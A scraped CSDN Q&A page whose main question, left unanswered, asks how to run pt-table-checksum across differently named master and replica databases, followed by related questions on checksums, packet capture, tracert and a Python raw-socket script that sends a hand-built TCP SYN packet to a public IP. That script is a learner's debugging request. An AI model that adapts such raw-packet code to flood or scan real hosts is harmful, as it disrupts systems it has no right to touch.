pt-table-checksum 库名不一样怎么办

主库和从库的库名不一样,主从复制的时候通过replicate-rewrite-db做了转换。现在想用pt-table-checksum来定期比对主库和从库,问题是,两个库的名字不一样,尝试了各种方法都没有成功。网上也没有类似的案例。求解救。。。

1个回答

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
Quicksum 求和的问题
Problem Description A checksum is an algorithm that scans a packet of data and returns a single number. The idea is that if the packet is changed, the checksum will also change, so checksums are often used for detecting transmission errors, validating document contents, and in many other situations where it is necessary to detect undesirable changes in data. For this problem, you will implement a checksum algorithm called Quicksum. A Quicksum packet allows only uppercase letters and spaces. It always begins and ends with an uppercase letter. Otherwise, spaces and letters can occur in any combination, including consecutive spaces. A Quicksum is the sum of the products of each character's position in the packet times the character's value. A space has a value of zero, while letters have a value equal to their position in the alphabet. So, A=1, B=2, etc., through Z=26. Here are example Quicksum calculations for the packets "ACM" and "MID CENTRAL": ACM: 1*1 + 2*3 + 3*13 = 46MID CENTRAL: 1*13 + 2*9 + 3*4 + 4*0 + 5*3 + 6*5 + 7*14 + 8*20 + 9*18 + 10*1 + 11*12 = 650 Input The input consists of one or more packets followed by a line containing only # that signals the end of the input. Each packet is on a line by itself, does not begin or end with a space, and contains from 1 to 255 characters. Output For each packet, output its Quicksum on a separate line in the output. Sample Input ACM MID CENTRAL REGIONAL PROGRAMMING CONTEST ACN A C M ABC BBC # Sample Output 46 650 4690 49 75 14 15
本机链接虚拟机数据库,出现ORA-12569: TNS:packet checksum failure错误提醒
本机和虚拟机可以联通,访问虚拟机数据出错 ```C:\Users\liuye>ping 192.168.88.130 正在 Ping 192.168.88.130 具有 32 字节的数据: 来自 192.168.88.130 的回复: 字节=32 时间<1ms TTL=128 来自 192.168.88.130 的回复: 字节=32 时间<1ms TTL=128 来自 192.168.88.130 的回复: 字节=32 时间<1ms TTL=128 来自 192.168.88.130 的回复: 字节=32 时间<1ms TTL=128 192.168.88.130 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms C:\Users\liuye>sqlplus scott/tiger@192.168.88.130:1158/orcl SQL*Plus: Release 12.1.0.1.0 Production on Tue Jun 11 18:54:47 2019 Copyright (c) 1982, 2013, Oracle. All rights reserved. ERROR: ORA-12569: TNS:packet checksum failure Enter user-name: ```
求一段串口发送接收数据的小案例,并且用checksum验证其接受的数据完整性
本人刚接触STM32,学习到串口接受发送,基本的代码代码都会写,比如 串口初始化,接受中断函数。串口也能进行简单的数据发送接收。 老师说要用checksum验证数据正确性,我在网上看了很多教程,原理还是 清楚了一些,比如原码反码补码,但是不怎么清楚把它运用到实际案例中 所以求一段用到checksum和检验的串口发送接收小案例。 尽量附上注释,让小白融会贯通一下。 如下图:只能简单的一些代码 ![图片说明](https://img-ask.csdn.net/upload/201911/09/1573272465_291606.png) 利用串口调试助手: ![图片说明](https://img-ask.csdn.net/upload/201911/09/1573272487_708205.png) 感谢感谢,感觉道阻且长啊
C++网络编程问题,附部分代码
/*下边实现tcp数据包分析的函数定义tcp_protocol_packet_callback*/ void tcp_protocol_packet_callback(u_char *argument,const struct pcap_pkthdr* packet_header,const u_char* packet_content) { struct tcp_header *tcp_protocol ; /*tcp协议变量*/ u_char flags; /*标记*/ int header_length; /*头长度*/ u_short source_port; /*源端口*/ u_short destination_port; /*目的端口*/ u_short windows; /*窗口大小*/ u_short urgent_pointer; /*紧急指针*/ u_int sequence; /*序列号*/ u_int acknowledgement; /*确认号*/ u_int16_t checksum; /*检验和*/ tcp_protocol=(struct tcp_header *) (packet_content+14+20); /*获得tcp首部内容*/ 为什么这里tcp_protocol=(struct tcp_header *) (packet_content+14+20)是14+20啊
Quicksum 快速求和
Problem Description A checksum is an algorithm that scans a packet of data and returns a single number. The idea is that if the packet is changed, the checksum will also change, so checksums are often used for detecting transmission errors, validating document contents, and in many other situations where it is necessary to detect undesirable changes in data. For this problem, you will implement a checksum algorithm called Quicksum. A Quicksum packet allows only uppercase letters and spaces. It always begins and ends with an uppercase letter. Otherwise, spaces and letters can occur in any combination, including consecutive spaces. A Quicksum is the sum of the products of each character's position in the packet times the character's value. A space has a value of zero, while letters have a value equal to their position in the alphabet. So, A=1, B=2, etc., through Z=26. Here are example Quicksum calculations for the packets "ACM" and "MID CENTRAL": ACM: 1*1 + 2*3 + 3*13 = 46MID CENTRAL: 1*13 + 2*9 + 3*4 + 4*0 + 5*3 + 6*5 + 7*14 + 8*20 + 9*18 + 10*1 + 11*12 = 650 Input The input consists of one or more packets followed by a line containing only # that signals the end of the input. Each packet is on a line by itself, does not begin or end with a space, and contains from 1 to 255 characters. Output For each packet, output its Quicksum on a separate line in the output. Sample Input ACM MID CENTRAL REGIONAL PROGRAMMING CONTEST ACN A C M ABC BBC # Sample Output 46 650 4690 49 75 14 15
Linux抓icmp包分析错误?
用Linux编程编写抓包协议,分析icmp报文的时候都是0 ``` else if(p_iphdr->protocol==1){ struct icmphdr*p_icmphdr=(struct icmphdr*)(p_iphdr+p_iphdr->ihl*4); if((p_icmphdr->icmp_type)==3||5||11||12){ printf("----这个是ICMP差错报告报文----\n"); }else{ printf("----这个是ICMP询问报文----\n"); } printf("type = %d\n ", p_icmphdr->icmp_type); printf("code = %d\n ", p_icmphdr->icmp_code); printf("id = %d\n ", p_icmphdr->icmp_id); printf("icmp_seq = %s\n ", ntohs(p_icmphdr->icmp_seq)); //输出序列号 ``` 这个是icmp结构体 ``` struct icmphdr { u_int8_t icmp_type; u_int8_t icmp_code; u_int16_t icmp_checksum; union { struct ih_idseq { u_int16_t icd_id; u_int16_t icd_seq; }ih_idseq; }icmp_hun; #define icmp_id icmp_hun.ih_idseq.icd_id #define icmp_seq icmp_hun.ih_idseq.icd_seq //u32 icmp_timestamp[2];//时间戳 //ICMP数据占位符 u_int8_t data[0]; }; ``` 结果是这样 ![图片说明](https://img-ask.csdn.net/upload/201912/22/1576949050_718673.png) 这个icmp报文是我用ping网站获取的 求大佬告知小白一个,感谢
red hat 8 安装vsftpd失败,报下面错误,怎么解决
[root@shufeng yum.repos.d]# yum install vsftpd* -y Updating Subscription Management repositories. Unable to read consumer identity This system is not registered to Red Hat Subscription Management. You can use subscription-manager to register. 上次元数据过期检查:0:20:28 前,执行于 2019年12月12日 星期四 09时12分29秒。 依赖关系解决。 ======================================================================================= 软件包 架构 版本 仓库 大小 ======================================================================================= Installing: vsftpd x86_64 3.0.3-28.el8 AppStream 180 k 事务概要 ======================================================================================= 安装 1 软件包 总下载:180 k 安装大小:356 k 下载软件包: Error opening file for checksum: Packages/vsftpd-3.0.3-28.el8.x86_64.rpm 软件包 "vsftpd-3.0.3-28.el8.x86_64"(来自于本地仓库 "AppStream")的 checksum 不正确 错误:本地仓库的一些软件包校验值(checksum)不正确,无法确定软件包完整
notification无法显示
按照第一行代码打的notification,不知道那里错了(水平太低),系统是ubuntu ``` package com.example.unit_8; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.NotificationCompat; import android.app.Notification; import android.app.NotificationManager; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.Button; public class MainActivity extends AppCompatActivity implements View.OnClickListener{ private Button Send_notice; private NotificationManager notificationManager; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Send_notice = (Button) findViewById(R.id.send_notice); Send_notice.setOnClickListener(this); } @Override public void onClick(View v) { switch (v.getId()){ case R.id.send_notice: notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE); Notification notification = new NotificationCompat.Builder(this,"default") .setContentTitle("this is title") .setContentText("this is text") .setSmallIcon(R.mipmap.ic_launcher).build(); notificationManager.notify(1,notification); Log.i("msg","R.id.send_notice"); break; default: break; } } } ``` ``` ``` ``` 这个是log信息 2019-10-13 17:07:18.253 28995-28995/? I/.example.unit_: Not late-enabling -Xcheck:jni (already on) 2019-10-13 17:07:18.283 28995-28995/? E/.example.unit_: Unknown bits set in runtime_flags: 0x8000 2019-10-13 17:07:18.288 28995-28995/? W/.example.unit_: Unexpected CPU variant for X86 using defaults: x86 2019-10-13 17:07:18.497 28995-28995/com.example.unit_8 W/.example.unit_: JIT profile information will not be recorded: profile file does not exits. 2019-10-13 17:07:18.498 28995-28995/com.example.unit_8 I/chatty: uid=10142(com.example.unit_8) identical 10 lines 2019-10-13 17:07:18.498 28995-28995/com.example.unit_8 W/.example.unit_: JIT profile information will not be recorded: profile file does not exits. 2019-10-13 17:07:18.504 28995-28995/com.example.unit_8 I/InstantRun: starting instant run server: is main process 2019-10-13 17:07:18.523 28995-28995/com.example.unit_8 W/RenderThread: type=1400 audit(0.0:186): avc: denied { write } for name="property_service" dev="tmpfs" ino=7189 scontext=u:r:untrusted_app:s0:c142,c256,c512,c768 tcontext=u:object_r:property_socket:s0 tclass=sock_file permissive=0 2019-10-13 17:07:18.540 28995-29016/com.example.unit_8 D/libEGL: Emulator has host GPU support, qemu.gles is set to 1. 2019-10-13 17:07:18.541 28995-29016/com.example.unit_8 W/libc: Unable to set property "qemu.gles" to "1": connection failed; errno=13 (Permission denied) 2019-10-13 17:07:18.603 28995-29016/com.example.unit_8 D/libEGL: loaded /vendor/lib/egl/libEGL_emulation.so 2019-10-13 17:07:18.604 28995-29016/com.example.unit_8 D/libEGL: loaded /vendor/lib/egl/libGLESv1_CM_emulation.so 2019-10-13 17:07:18.617 28995-29016/com.example.unit_8 D/libEGL: loaded /vendor/lib/egl/libGLESv2_emulation.so 2019-10-13 17:07:18.695 28995-28995/com.example.unit_8 W/.example.unit_: Accessing hidden method Landroid/view/View;->computeFitSystemWindows(Landroid/graphics/Rect;Landroid/graphics/Rect;)Z (greylist, reflection, allowed) 2019-10-13 17:07:18.695 28995-28995/com.example.unit_8 W/.example.unit_: Accessing hidden method Landroid/view/ViewGroup;->makeOptionalFitsSystemWindows()V (greylist, reflection, allowed) 2019-10-13 17:07:18.849 28995-29014/com.example.unit_8 D/HostConnection: HostConnection::get() New Host Connection established 0xd753b9a0, tid 29014 2019-10-13 17:07:18.855 28995-29014/com.example.unit_8 D/HostConnection: HostComposition ext ANDROID_EMU_CHECKSUM_HELPER_v1 ANDROID_EMU_dma_v1 ANDROID_EMU_direct_mem ANDROID_EMU_host_composition_v1 ANDROID_EMU_host_composition_v2 ANDROID_EMU_YUV420_888_to_NV21 ANDROID_EMU_YUV_Cache GL_OES_vertex_array_object GL_KHR_texture_compression_astc_ldr ANDROID_EMU_gles_max_version_2 2019-10-13 17:07:18.874 28995-29014/com.example.unit_8 W/OpenGLRenderer: Failed to choose config with EGL_SWAP_BEHAVIOR_PRESERVED, retrying without... 2019-10-13 17:07:18.876 28995-29014/com.example.unit_8 D/eglCodecCommon: setVertexArrayObject: set vao to 0 (0) 0 0 2019-10-13 17:07:18.876 28995-29014/com.example.unit_8 D/EGL_emulation: eglCreateContext: 0xe2c1c180: maj 2 min 0 rcv 2 2019-10-13 17:07:18.877 28995-29014/com.example.unit_8 D/EGL_emulation: eglMakeCurrent: 0xe2c1c180: ver 2 0 (tinfo 0xe2cfded0) 2019-10-13 17:07:18.942 28995-29014/com.example.unit_8 W/Gralloc3: mapper 3.x is not supported 2019-10-13 17:07:18.948 28995-29014/com.example.unit_8 D/HostConnection: createUnique: call 2019-10-13 17:07:18.950 28995-29014/com.example.unit_8 D/HostConnection: HostConnection::get() New Host Connection established 0xd753d110, tid 29014 2019-10-13 17:07:18.969 28995-29014/com.example.unit_8 D/HostConnection: HostComposition ext ANDROID_EMU_CHECKSUM_HELPER_v1 ANDROID_EMU_dma_v1 ANDROID_EMU_direct_mem ANDROID_EMU_host_composition_v1 ANDROID_EMU_host_composition_v2 ANDROID_EMU_YUV420_888_to_NV21 ANDROID_EMU_YUV_Cache GL_OES_vertex_array_object GL_KHR_texture_compression_astc_ldr ANDROID_EMU_gles_max_version_2 2019-10-13 17:07:18.969 28995-29014/com.example.unit_8 D/eglCodecCommon: allocate: Ask for block of size 0x1000 2019-10-13 17:07:18.969 28995-29014/com.example.unit_8 D/eglCodecCommon: allocate: ioctl allocate returned offset 0x3ff801000 size 0x2000 2019-10-13 17:07:19.005 28995-29014/com.example.unit_8 D/EGL_emulation: eglMakeCurrent: 0xe2c1c180: ver 2 0 (tinfo 0xe2cfded0) 2019-10-13 17:07:19.012 28995-29014/com.example.unit_8 D/eglCodecCommon: setVertexArrayObject: set vao to 0 (0) 1 0 2019-10-13 17:07:34.632 28995-28995/com.example.unit_8 I/msg: R.id.send_notice
Quicksum 的计算
Problem Description A checksum is an algorithm that scans a packet of data and returns a single number. The idea is that if the packet is changed, the checksum will also change, so checksums are often used for detecting transmission errors, validating document contents, and in many other situations where it is necessary to detect undesirable changes in data. For this problem, you will implement a checksum algorithm called Quicksum. A Quicksum packet allows only uppercase letters and spaces. It always begins and ends with an uppercase letter. Otherwise, spaces and letters can occur in any combination, including consecutive spaces. A Quicksum is the sum of the products of each character's position in the packet times the character's value. A space has a value of zero, while letters have a value equal to their position in the alphabet. So, A=1, B=2, etc., through Z=26. Here are example Quicksum calculations for the packets "ACM" and "MID CENTRAL": ACM: 1*1 + 2*3 + 3*13 = 46MID CENTRAL: 1*13 + 2*9 + 3*4 + 4*0 + 5*3 + 6*5 + 7*14 + 8*20 + 9*18 + 10*1 + 11*12 = 650 Input The input consists of one or more packets followed by a line containing only # that signals the end of the input. Each packet is on a line by itself, does not begin or end with a space, and contains from 1 to 255 characters. Output For each packet, output its Quicksum on a separate line in the output. Sample Input ACM MID CENTRAL REGIONAL PROGRAMMING CONTEST ACN A C M ABC BBC # Sample Output 46 650 4690 49 75 14 15
SVN迁移到GIT报Checksum mismatch: TapiParser/jar/tapiParser/tapiParser.jar c7a0bbbcc00e06bf963e4499faf8292c29133090 expected: c8d8b55b252bad17d6e53a6435eb44cd got: 706a1cb8c2fe7c059d37cbf427df4795
在做svn项目迁移到git的过程中,报了Checksum mismatch: TapiParser/jar/tapiParser/tapiParser.jar c7a0bbbcc00e06bf963e4499faf8292c29133090 expected: c8d8b55b252bad17d6e53a6435eb44cd got: 706a1cb8c2fe7c059d37cbf427df4795的错。 在网上找了解决方案,如下 首先查找问题文件(本例是'EMModuleTXTrade/EMModuleTXTrade/EMCoreTradeClass/EMTXHKTradeInterface/TradeWrapperQJPZConfig.json')最后一次更改信息: Kevin-Macbook-Pro:iPhone64 macbook$ git svn log EMModuleTXTrade/EMModuleTXTrade/EMCoreTradeClass/EMTXHKTradeInterface/TradeWrapperQJPZConfig.json r355 | wangwei | 2016-09-30 14:47:36 +0800 (五, 30 9 2016) | 2 lines 电话配置 r344 | wangwei | 2016-09-30 09:58:37 +0800 (五, 30 9 2016) | 2 lines 然后重置到最近一次修改的父节点 Kevin-Macbook-Pro:iPhone64 macbook$ git svn reset -r355 -p r354 = 48bd8c2b111496cca7fc4f2d24bf2ae67a26f4ea (refs/remotes/git-svn) 最后重新fetch即可 Kevin-Macbook-Pro:iPhone64 macbook$ git svn fetch 但是又报了 fatal: bad revision 'HEAD' rev-list --first-parent --pretty=medium HEAD --: command returned error: 128 实在是不知道该怎么解决了,请知道的大神帮帮忙~~谢谢
安装微擎模块时提示下面内容?
微擎模块上传后安装,在点击安装时提示下面内容? Fatal error: SourceGuardian Loader - Protected script's header checksum error. Probably the encoded file was modified. Please install an original unmodified file or contact the author of the script to get the original file.
Quicksum 具体怎么来实现
Problem Description A checksum is an algorithm that scans a packet of data and returns a single number. The idea is that if the packet is changed, the checksum will also change, so checksums are often used for detecting transmission errors, validating document contents, and in many other situations where it is necessary to detect undesirable changes in data. For this problem, you will implement a checksum algorithm called Quicksum. A Quicksum packet allows only uppercase letters and spaces. It always begins and ends with an uppercase letter. Otherwise, spaces and letters can occur in any combination, including consecutive spaces. A Quicksum is the sum of the products of each character's position in the packet times the character's value. A space has a value of zero, while letters have a value equal to their position in the alphabet. So, A=1, B=2, etc., through Z=26. Here are example Quicksum calculations for the packets "ACM" and "MID CENTRAL": ACM: 1*1 + 2*3 + 3*13 = 46MID CENTRAL: 1*13 + 2*9 + 3*4 + 4*0 + 5*3 + 6*5 + 7*14 + 8*20 + 9*18 + 10*1 + 11*12 = 650 Input The input consists of one or more packets followed by a line containing only # that signals the end of the input. Each packet is on a line by itself, does not begin or end with a space, and contains from 1 to 255 characters. Output For each packet, output its Quicksum on a separate line in the output. Sample Input ACM MID CENTRAL REGIONAL PROGRAMMING CONTEST ACN A C M ABC BBC # Sample Output 46 650 4690 49 75 14 15
tracert程序编译成功运行后,无法正常发送接收包,输出结果只有123456789101112131415161718192021222324252627282930,不显示详细情况,单步运行后发现接收发送包的部分没执行
![图片说明](https://img-ask.csdn.net/upload/201911/30/1575117089_191288.jpg) #include <iostream> #include <winsock2.h> #include <ws2tcpip.h> using namespace std; #pragma comment(lib, "Ws2_32.lib") //IP报头 typedef struct IP_HEADER { unsigned char hdr_len:4; //4位头部长度 unsigned char version:4; //4位版本号 unsigned char tos; //8位服务类型 unsigned short total_len; //16位总长度 unsigned short identifier; //16位标识符 unsigned short frag_and_flags; //3位标志加13位片偏移 unsigned char ttl; //8位生存时间 unsigned char protocol; //8位上层协议号 unsigned short checksum; //16位校验和 unsigned long sourceIP; //32位源IP地址 unsigned long destIP; //32位目的IP地址 } IP_HEADER; //ICMP报头 typedef struct ICMP_HEADER { BYTE type; //8位类型字段 BYTE code; //8位代码字段 USHORT cksum; //16位校验和 USHORT id; //16位标识符 USHORT seq; //16位序列号 } ICMP_HEADER; //报文解码结构 typedef struct DECODE_RESULT { USHORT usSeqNo; //序列号 DWORD dwRoundTripTime; //往返时间 in_addr dwIPaddr; //返回报文的IP地址 }DECODE_RESULT; //计算网际校验和函数 USHORT checksum( USHORT *pBuf, int iSize ) { unsigned long cksum = 0; while( iSize > 1 ) { cksum += *pBuf++; iSize -= sizeof(USHORT); } if( iSize )//如果 iSize 为正,即为奇数个字节 { cksum += *(UCHAR *)pBuf; //则在末尾补上一个字节,使之有偶数个字节 } cksum = ( cksum >> 16 ) + ( cksum&0xffff ); cksum += ( cksum >> 16 ); return (USHORT)( ~cksum ); } //对数据包进行解码 BOOL DecodeIcmpResponse(char * pBuf, int iPacketSize, DECODE_RESULT &DecodeResult, BYTE ICMP_ECHO_REPLY, BYTE ICMP_TIMEOUT) { //检查数据报大小的合法性 IP_HEADER* pIpHdr = ( IP_HEADER* )pBuf; int iIpHdrLen = pIpHdr->hdr_len * 4; //ip报头的长度是以4字节为单位的 //若数据包大小 小于 IP报头 + ICMP报头,则数据报大小不合法 if ( iPacketSize < ( int )( iIpHdrLen + sizeof( ICMP_HEADER ) ) ) return FALSE; //根据ICMP报文类型提取ID字段和序列号字段 ICMP_HEADER *pIcmpHdr = ( ICMP_HEADER * )( pBuf + iIpHdrLen );//ICMP报头 = 接收到的缓冲数据 + IP报头 USHORT usID, usSquNo; if( pIcmpHdr->type == ICMP_ECHO_REPLY ) //ICMP回显应答报文 { usID = pIcmpHdr->id; //报文ID usSquNo = pIcmpHdr->seq; //报文序列号 } else if( pIcmpHdr->type == ICMP_TIMEOUT )//ICMP超时差错报文 { char * pInnerIpHdr = pBuf + iIpHdrLen + sizeof( ICMP_HEADER ); //载荷中的IP头 int iInnerIPHdrLen = ( ( IP_HEADER * )pInnerIpHdr )->hdr_len * 4; //载荷中的IP头长 ICMP_HEADER * pInnerIcmpHdr = ( ICMP_HEADER * )( pInnerIpHdr + iInnerIPHdrLen );//载荷中的ICMP头 usID = pInnerIcmpHdr->id; //报文ID usSquNo = pInnerIcmpHdr->seq; //序列号 } else { return false; } //检查ID和序列号以确定收到期待数据报 if( usID != ( USHORT )GetCurrentProcessId() || usSquNo != DecodeResult.usSeqNo ) { return false; } //记录IP地址并计算往返时间 DecodeResult.dwIPaddr.s_addr = pIpHdr->sourceIP; DecodeResult.dwRoundTripTime = GetTickCount() - DecodeResult.dwRoundTripTime; //处理正确收到的ICMP数据报 if ( pIcmpHdr->type == ICMP_ECHO_REPLY || pIcmpHdr->type == ICMP_TIMEOUT ) { //输出往返时间信息 if(DecodeResult.dwRoundTripTime) cout<<" "<<DecodeResult.dwRoundTripTime<<"ms"<<flush; else cout<<" "<<"<1ms"<<flush; } return true; } void main() { //初始化Windows sockets网络环境 WSADATA wsa; WSAStartup( MAKEWORD(2,2), &wsa ); char IpAddress[255]; cout<<"请输入一个IP地址或域名:"; cin>>IpAddress; //得到IP地址 u_long ulDestIP = inet_addr( IpAddress ); //转换不成功时按域名解析 if( ulDestIP == INADDR_NONE ) { hostent * pHostent = gethostbyname( IpAddress ); if( pHostent ) { ulDestIP = ( *( in_addr* )pHostent->h_addr).s_addr; } else { cout<<"输入的IP地址或域名无效!"<<endl; WSACleanup(); return; } } cout<<"Tracing roote to "<<IpAddress<<" with a maximum of 30 hops.\n"<<endl; //填充目的端socket地址 sockaddr_in destSockAddr; ZeroMemory( &destSockAddr, sizeof( sockaddr_in ) ); destSockAddr.sin_family = AF_INET; destSockAddr.sin_addr.s_addr = ulDestIP; //创建原始套接字 SOCKET sockRaw = WSASocket( AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0, WSA_FLAG_OVERLAPPED ); //超时时间 int iTimeout = 3000; //设置接收超时时间 setsockopt( sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char *)&iTimeout, sizeof( iTimeout ) ); //设置发送超时时间 setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char *)&iTimeout,sizeof(iTimeout)); //构造ICMP回显请求消息,并以TTL递增的顺序发送报文 //ICMP类型字段 const BYTE ICMP_ECHO_REQUEST = 8; //请求回显 const BYTE ICMP_ECHO_REPLY = 0; //回显应答 const BYTE ICMP_TIMEOUT = 11; //传输超时 //其他常量定义 const int DEF_ICMP_DATA_SIZE = 32; //ICMP报文默认数据字段长度 const int MAX_ICMP_PACKET_SIZE = 1024; //ICMP报文最大长度(包括报头) const DWORD DEF_ICMP_TIMEOUT = 3000; //回显应答超时时间 const int DEF_MAX_HOP = 30; //最大跳站数 //填充ICMP报文中每次发送时不变的字段 char IcmpSendBuf[ sizeof( ICMP_HEADER ) + DEF_ICMP_DATA_SIZE ];//发送缓冲区 memset( IcmpSendBuf, 0, sizeof( IcmpSendBuf ) ); //初始化发送缓冲区 char IcmpRecvBuf[ MAX_ICMP_PACKET_SIZE ]; //接收缓冲区 memset( IcmpRecvBuf, 0, sizeof( IcmpRecvBuf ) ); //初始化接收缓冲区 ICMP_HEADER * pIcmpHeader = ( ICMP_HEADER* )IcmpSendBuf; pIcmpHeader->type = ICMP_ECHO_REQUEST; //类型为请求回显 pIcmpHeader->code = 0; //代码字段为0 pIcmpHeader->id = (USHORT)GetCurrentProcessId(); //ID字段为当前进程号 memset( IcmpSendBuf + sizeof( ICMP_HEADER ), 'E', DEF_ICMP_DATA_SIZE );//数据字段 USHORT usSeqNo = 0; //ICMP报文序列号 int iTTL = 1; //TTL初始值为1 BOOL bReachDestHost = FALSE; //循环退出标志 int iMaxHot = DEF_MAX_HOP; //循环的最大次数 DECODE_RESULT DecodeResult; //传递给报文解码函数的结构化参数 while( !bReachDestHost && iMaxHot-- ) { //设置IP报头的TTL字段 setsockopt( sockRaw, IPPROTO_IP, IP_TTL, (char *)&iTTL, sizeof(iTTL) ); cout<<iTTL<<flush; //输出当前序号,flush表示将缓冲区的内容马上送进cout,把输出缓冲区刷新 //填充ICMP报文中每次发送变化的字段 ((ICMP_HEADER *)IcmpSendBuf)->cksum = 0; //校验和先置为0 ((ICMP_HEADER *)IcmpSendBuf)->seq = htons(usSeqNo++); //填充序列号 ((ICMP_HEADER *)IcmpSendBuf)->cksum = checksum( ( USHORT * )IcmpSendBuf, sizeof( ICMP_HEADER ) + DEF_ICMP_DATA_SIZE ); //计算校验和 //记录序列号和当前时间 DecodeResult.usSeqNo = ( ( ICMP_HEADER* )IcmpSendBuf )->seq; //当前序号 DecodeResult.dwRoundTripTime = GetTickCount(); //当前时间 //发送TCP回显请求信息 sendto( sockRaw, IcmpSendBuf, sizeof(IcmpSendBuf), 0, (sockaddr*)&destSockAddr, sizeof(destSockAddr) ); //接收ICMP差错报文并进行解析处理 sockaddr_in from; //对端socket地址 int iFromLen = sizeof(from);//地址结构大小 int iReadDataLen; //接收数据长度 while(1) { //接收数据 iReadDataLen = recvfrom( sockRaw, IcmpRecvBuf, MAX_ICMP_PACKET_SIZE, 0, (sockaddr*)&from, &iFromLen ); if( iReadDataLen != SOCKET_ERROR )//有数据到达 { //对数据包进行解码 if(DecodeIcmpResponse( IcmpRecvBuf, iReadDataLen, DecodeResult, ICMP_ECHO_REPLY, ICMP_TIMEOUT ) ) { //到达目的地,退出循环 if( DecodeResult.dwIPaddr.s_addr == destSockAddr.sin_addr.s_addr ) bReachDestHost = true; //输出IP地址 cout<<'\t'<<inet_ntoa( DecodeResult.dwIPaddr )<<endl; break; } } else if( WSAGetLastError() == WSAETIMEDOUT ) //接收超时,输出*号 { cout<<" *"<<'\t'<<"Request timed out."<<endl; break; } else { break; } } iTTL++; //递增TTL值 } }
求和的计算 问题
Problem Description A checksum is an algorithm that scans a packet of data and returns a single number. The idea is that if the packet is changed, the checksum will also change, so checksums are often used for detecting transmission errors, validating document contents, and in many other situations where it is necessary to detect undesirable changes in data. For this problem, you will implement a checksum algorithm called Quicksum. A Quicksum packet allows only uppercase letters and spaces. It always begins and ends with an uppercase letter. Otherwise, spaces and letters can occur in any combination, including consecutive spaces. A Quicksum is the sum of the products of each character's position in the packet times the character's value. A space has a value of zero, while letters have a value equal to their position in the alphabet. So, A=1, B=2, etc., through Z=26. Here are example Quicksum calculations for the packets "ACM" and "MID CENTRAL": ACM: 1*1 + 2*3 + 3*13 = 46MID CENTRAL: 1*13 + 2*9 + 3*4 + 4*0 + 5*3 + 6*5 + 7*14 + 8*20 + 9*18 + 10*1 + 11*12 = 650 Input The input consists of one or more packets followed by a line containing only # that signals the end of the input. Each packet is on a line by itself, does not begin or end with a space, and contains from 1 to 255 characters. Output For each packet, output its Quicksum on a separate line in the output. Sample Input ACM MID CENTRAL REGIONAL PROGRAMMING CONTEST ACN A C M ABC BBC # Sample Output 46 650 4690 49 75 14 15
想用原始套接字发送syn请求,出现一个问题,是因为构建的包的格式有问题吗?
``` import random import socket import struct import array def create_socket(): s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL,1) return s def get_host_ip(): s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.connect(('8.8.8.8',80)) ip=s.getsockname()[0] s.close() return ip def doCksum(packet): words = array.array('h', packet) sum = 0 for word in words: sum += (word & 0xffff) sum = (sum >> 16) + (sum & 0xffff) sum += (sum >> 16) return (~sum) & 0xffff def create_ip_header(source_ip, dest_ip): # ip 头部选项 headerlen = 5 version = 4 tos = 0 tot_len = 20 + 20 id = random.randrange(18000,65535,1) frag_off = 0 ttl = 255 protocol = socket.IPPROTO_TCP check = 10 saddr = socket.inet_aton ( source_ip ) daddr = socket.inet_aton ( dest_ip ) hl_version = (version << 4) + headerlen ip_header = struct.pack('BBHHHBBH4s4s', hl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) return ip_header def create_tcp_syn_header(source_ip, dest_ip, dest_port): source = random.randrange(32000,62000,1) seq = 0 ack_seq = 0 doff = 5 fin = 0 syn = 1 rst = 0 psh = 0 ack = 0 urg = 0 window = socket.htons(8192) check = 0 urg_ptr = 0 offset_res = (doff << 4) + 0 tcp_flags = fin + (syn<<1) + (rst<<2) + (psh<<3) + (ack<<4) + (urg<<5) tcp_header = struct.pack('HHLLBBHHH', source, dest_port, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton( dest_ip ) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) psh = struct.pack('4s4sBBH', source_address, dest_address, placeholder, protocol, tcp_length) psh = psh + tcp_header tcp_checksum = doCksum(psh) tcp_header = struct.pack('HHLLBBHHH', source, dest_port, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum, urg_ptr) return tcp_header source_ip = get_host_ip() dest_ip = '112.80.248.75' s = create_socket() ip_header = create_ip_header(source_ip,dest_ip) tcp_header = create_tcp_syn_header(source_ip,dest_ip,80) packet = ip_header + tcp_header s.sendto(packet,(dest_ip,80)) ``` **结果** ![图片说明](https://img-ask.csdn.net/upload/201912/17/1576595985_556527.png)
svn检出报错,别的机子可以检出项目,我的检出的时候报错?求解!
